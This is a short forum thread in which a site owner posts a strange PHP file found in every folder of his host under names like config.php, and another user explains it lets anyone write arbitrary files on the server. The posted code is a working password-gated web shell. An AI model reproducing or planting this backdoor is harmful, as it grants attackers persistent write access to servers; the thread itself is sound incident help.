Strange php file

[Alan P]

Can anyone tell me what this script does?

$r=$_REQUEST;
$c=getcwd();
$n=chr(32);
print('468505ab9718d8c2205ea35d94f04668');
if(md5(md5(@$r['p']))=='3829c383a1277bd6e7e108ab36f8f03c'){
print($n.$c.$n);
fwrite(fopen(dirname(__FILE__).'/'.$r['f'],'w+'),$r['b']);
print($n);
print_r(scandir($c));
}
exit; 

Thanks

[NogDog]

Looks like something to allow someone to write anything they want into an arbitrary file on the web host. Probably not a good thing if you didn't put it there.

[Alan P]

At first I thought it may have been something my hosting company put on, but when I got to looking around I found this same script in each one of my folders (even my htacces protected folders) and the php file had a different name for each folder. They were clever in naming them... init.php, engine.php, config.php, etc.

Thanks for the response.